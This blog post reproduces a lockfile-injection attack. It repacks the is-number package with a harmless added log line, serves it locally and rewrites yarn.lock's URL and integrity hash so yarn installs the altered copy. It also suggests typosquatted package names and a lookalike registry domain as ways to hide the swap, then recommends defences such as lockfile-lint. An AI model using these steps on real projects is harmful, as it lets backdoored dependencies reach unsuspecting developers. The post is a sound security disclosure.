❗️❗️❗️ I'm not advising anyone to actually backdoor any open source packages, it's actually the opposite, let's make a world a better place.
In this article I want to reproduce steps described in reasearch back in 2019 and see if it is still an issue - Why npm lockfiles can be a security blindspot for injecting malicious modules.
In short words, when installing dependencies, your package manager looks first into lock files like yarn.lock. There it can find package name, exact package version, link to the sources and integrity checks which helps to identify if package wasn't corrupted or altered on the way.
is-number@^7.0.0:
version "7.0.0"
resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==
The issue is that someone can update this lock file and put a new link which is pointing to a backdoored package version. Let's try to replicate this attack and see how hard is it.
Installing package
As an example, we will try to modify is-number package. There is nothing special about this package, it's just small, so it will be easy to modify it.
Let's install it and check if it works at all.
yarn add is-number
index.js
const isNumber = require("is-number");
console.log(isNumber(1));
➜ malicious-lockfile git:(master) ✗ node index.js
true
yarn.lock
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1
is-number@^7.0.0:
version "7.0.0"
resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==
Everything is legit for now.
Copying package
As you may know or noticed in lock file before, packages are served as tgz files. It's not hard to build one yourself, just use the built-in npm command npm pack
.
mkdir assets # tmp folder which we will serve locally
cp -r node_modules/is-number assets # copy sources
cd assets/is-number # go to copied sources folder
npm pack # build tgz file
Output:
➜ is-number git:(master) ✗ npm pack
npm notice
npm notice 📦 is-number@7.0.0
npm notice === Tarball Contents ===
npm notice 1.1kB LICENSE
npm notice 6.5kB README.md
npm notice 411B index.js
npm notice 1.6kB package.json
npm notice === Tarball Details ===
npm notice name: is-number
npm notice version: 7.0.0
npm notice filename: is-number-7.0.0.tgz
npm notice package size: 3.7 kB
npm notice unpacked size: 9.6 kB
npm notice shasum: a01de2faca2efa81c86da01dc937ab13ccc03685
npm notice integrity: sha512-U/Io4+4Bh+/sk[...]iHyXJG+svOLIg==
npm notice total files: 4
npm notice
is-number-7.0.0.tgz
That's basically it, you need only this steps to replicate a package.
Alter sources
Current index.js version is super simple.
/*!
* is-number <https://github.com/jonschlinkert/is-number>
*
* Copyright (c) 2014-present, Jon Schlinkert.
* Released under the MIT License.
*/
'use strict';
module.exports = function(num) {
if (typeof num === 'number') {
return num - num === 0;
}
if (typeof num === 'string' && num.trim() !== '') {
return Number.isFinite ? Number.isFinite(+num) : isFinite(+num);
}
return false;
};
Let's not do anything bad, but just print Hello world 🌎
/*!
* is-number <https://github.com/jonschlinkert/is-number>
*
* Copyright (c) 2014-present, Jon Schlinkert.
* Released under the MIT License.
*/
'use strict';
module.exports = function(num) {
// --- NEW LINE ---
console.log('Hello world 🌎')
/// --- NEW LINE ---
if (typeof num === 'number') {
return num - num === 0;
}
if (typeof num === 'string' && num.trim() !== '') {
return Number.isFinite ? Number.isFinite(+num) : isFinite(+num);
}
return false;
};
Now let's just pack it again, but we need to print integrity number, which we will need later, we can do it with --json
option.
➜ is-number git:(master) ✗ npm pack --json
[
{
"id": "is-number@7.0.0",
"name": "is-number",
"version": "7.0.0",
"size": 3734,
"unpackedSize": 9649,
"shasum": "116dad4ddcf4f00721da4c156b3f4d500da5a2db",
"integrity": "sha512-VFNyA7hugXJ/lnZGGIPNLValf7+Woij3nfhZv27IGB2U/ytqDv/GwusnbS2MvswTTjct1HV5I+vBe7RVIoo+Cw==",
"filename": "is-number-7.0.0.tgz",
"files": [
{
"path": "LICENSE",
"size": 1091,
"mode": 420
},
{
"path": "README.md",
"size": 6514,
"mode": 420
},
{
"path": "index.js",
"size": 445,
"mode": 420
},
{
"path": "package.json",
"size": 1599,
"mode": 420
}
],
"entryCount": 4,
"bundled": []
}
]
Serve this package
For this experiment we won't even publish it to npm or anywhere else, we can just serve this file locally with http-server. This file will be accessible locally via http://127.0.0.1:8080/is-number-7.0.0.tgz
.
Altering lock file
The final preparation step is to alter lock file, it won't be hard since we know shasum and integrity number from the step before.
yarn.lock before:
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1
is-number@^7.0.0:
version "7.0.0"
resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==
yarn.lock after:
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1
is-number@^7.0.0:
version "7.0.0"
resolved "http://127.0.0.1:8080/is-number-7.0.0.tgz#116dad4ddcf4f00721da4c156b3f4d500da5a2db"
integrity sha512-VFNyA7hugXJ/lnZGGIPNLValf7+Woij3nfhZv27IGB2U/ytqDv/GwusnbS2MvswTTjct1HV5I+vBe7RVIoo+Cw==
Check if it works
We need to clean node_modules first, also we will need to clear yarn cache because otherwise it will install official version which it cached before (when we installed it first time).
➜ malicious-lockfile git:(master) ✗ rm -rf node_modules
➜ malicious-lockfile git:(master) ✗ yarn cache clean
➜ malicious-lockfile git:(master) ✗ yarn --verbose
yarn install v1.22.17
[EDITED]
verbose 0.173942113 current time: 2022-02-16T12:55:14.879Z
[1/4] 🔍 Resolving packages...
[2/4] 🚚 Fetching packages...
verbose 0.231553328 Performing "GET" request to "http://127.0.0.1:8080/is-number-7.0.0.tgz".
[3/4] 🔗 Linking dependencies...
verbose 0.287921518 Creating directory "[EDITED]".
verbose 0.290689753 Copying "[EDITED]" to "[EDITED]".
[EDITED]
[4/4] 🔨 Building fresh packages...
✨ Done in 0.17s.
As we may see in verbose version, we fetched local package version, so let's run it.
➜ malicious-lockfile git:(master) ✗ node index.js
Hello world 🌎
true
Why is it matter?
Someone may think already: "Why should I care? You've updated local dependency and hacked yourself, nice job bro 🤣".
The issue is that it's not that simple, if we take a look on how lock file updates usually look like in open source, we will see that they are hidden from a reviewer in most cases.
Btw, be honest right now, how many times before did you look into 500+ changes in lock file personally?
So it won't be an easy task to spot one URL change in this blob of changes. What if we even upload is-nomber
to the npm? package.json
will still say that we're using normal is-number
, but we will install is-nomber
🤷 Good luck spotting one letter mismatch in 700+ changed lines.
Even if NPM will start taking down misspelled packages like is-nomber
, we still can register yranpkg.com and mimic the exact path to the package there. Good luck spotting one letter url change in 700+ changed lines.
Final notes
You need to be extra careful about strangers who update dependencies in your open source project. It may look like a first open source commitment from a student, but it also may be an attempt to backdoor everything from experienced black hat. Maybe you should even only allow updating lockfiles and installing new packages to proven contributors, but it's not a 💯 percent proven solution (read this).
An additional approach may be to use lockfile-lint, but you shouldn't just rely on this script entirely because there are other ecosystems than npm, and they may have similar issues.
upd: This issue isn't only yarn specific, there are open issues/discussions in pnpm, yarn1 & yarn2, and npm.
Related articles
Another related read would be A post-mortem of the malicious event-stream backdoor
If you enjoyed these articles, take a look on these two:
- https://medium.com/hackernoon/im-harvesting-credit-card-numbers-and-passwords-from-your-site-here-s-how-9a8cb347c5b5
- https://medium.com/hackernoon/part-2-how-to-stop-me-harvesting-credit-card-numbers-and-passwords-from-your-site-844f739659b9
Hope you had fun 👋
Btw, let's be friends here and on twitter 👋
Top comments (1)
Very interesting, thank you for sharing!